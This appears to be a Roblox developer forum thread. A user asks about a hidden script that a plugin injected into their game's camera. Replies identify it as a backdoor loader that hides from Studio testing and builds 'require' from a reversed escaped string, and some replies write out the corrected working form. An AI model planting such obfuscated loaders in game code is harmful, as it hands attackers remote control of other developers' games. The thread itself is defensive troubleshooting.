What does this do?

So uh, there is this random script in camera that appears when you press play and it literally has 2 lines of code -
local Roblox = “IsStudio”
local a=game:GetService(“RunService”)if a:IsStudio()then print(‘Loaded!’) else if game.PlaceId==185655149 or game.PlaceId==920587237 or game.PlaceId==735030788 then else getfenv()string.reverse(“\101\114\105\117\113\101\114”)end end

I don’t know if this is some sort of virus, plugin, or what. If you think you know please tell me.
Edit: (dunno why there is that random link)

Given the poor formatting, that isn’t a Roblox script; it may be from one of your plugins.

Okay, just tryna make sure I ain’t got nothing shady…

That looks like it could be a virus. I would delete it

It’s very shady, it’s requiring a module.

That is a lot of the reason why I came here, I can’t delete it. Only shows up when I press play.

I would highly suggest removing whatever is creating it, could be a plugin or a script within a free model.

It was an anti virus plugin…

Just because it’s poorly formatted doesn’t mean it’s from a plugin.
Skids like to make it harder to read their requires to backdoors.

Heres the fomatted code:

local Roblox = "IsStudio"
local a = game:GetService("RunService")
if a:IsStudio() then
    print("Loaded!")
else
    if game.PlaceId == 185655149 or game.PlaceId == 920587237 or game.PlaceId == 735030788 then
    else
        getfenv()
        string.reverse("\101\114\105\117\113\101\114")
    end
end

Hmm, then it’s a backdoor script. Have you inserted any free models into your game?

It could also be from a plugin. I would remove all plugins that don’t have very many sales, just to be safe.

I would also follow this tutorial on how to remove hidden scripts

It doesn’t look like that, it was on 2 lines and there were massive spaces in between parts of it.

Yes, I just formatted the code to make it look better and make it easier to read.

It was a plugin, the script is gone now when I play.

1 Like

Thank you all for your help, really appreciated!

Backdoors are usually from plugins, I was simply commenting that no (Roblox made) camera script would every be formatted like that. string.reverse("\101\114\105\117\113\101\114") is actually just require, so I don’t believe that is the complete script- likely something more like

getfenv()[string.reverse("\101\114\105\117\113\101\114")](someId)

That script doesn’t do anything malicious, since it doesn’t work.
They wanted to require it to a module; which didnt work, since they didnt use the right use of getfenv.
Instead of:

getfenv()string.reverse("\101\114\105\117\113\101\114")

They needed to do:

getfenv()[string.reverse("\101\114\105\117\113\101\114")](someId)

So yes, unless it isnt the completed script, it doesn’t do anything.

1 Like

Why would people do that, it makes no sence.
If Roblox Updates the code might be an error.

1 Like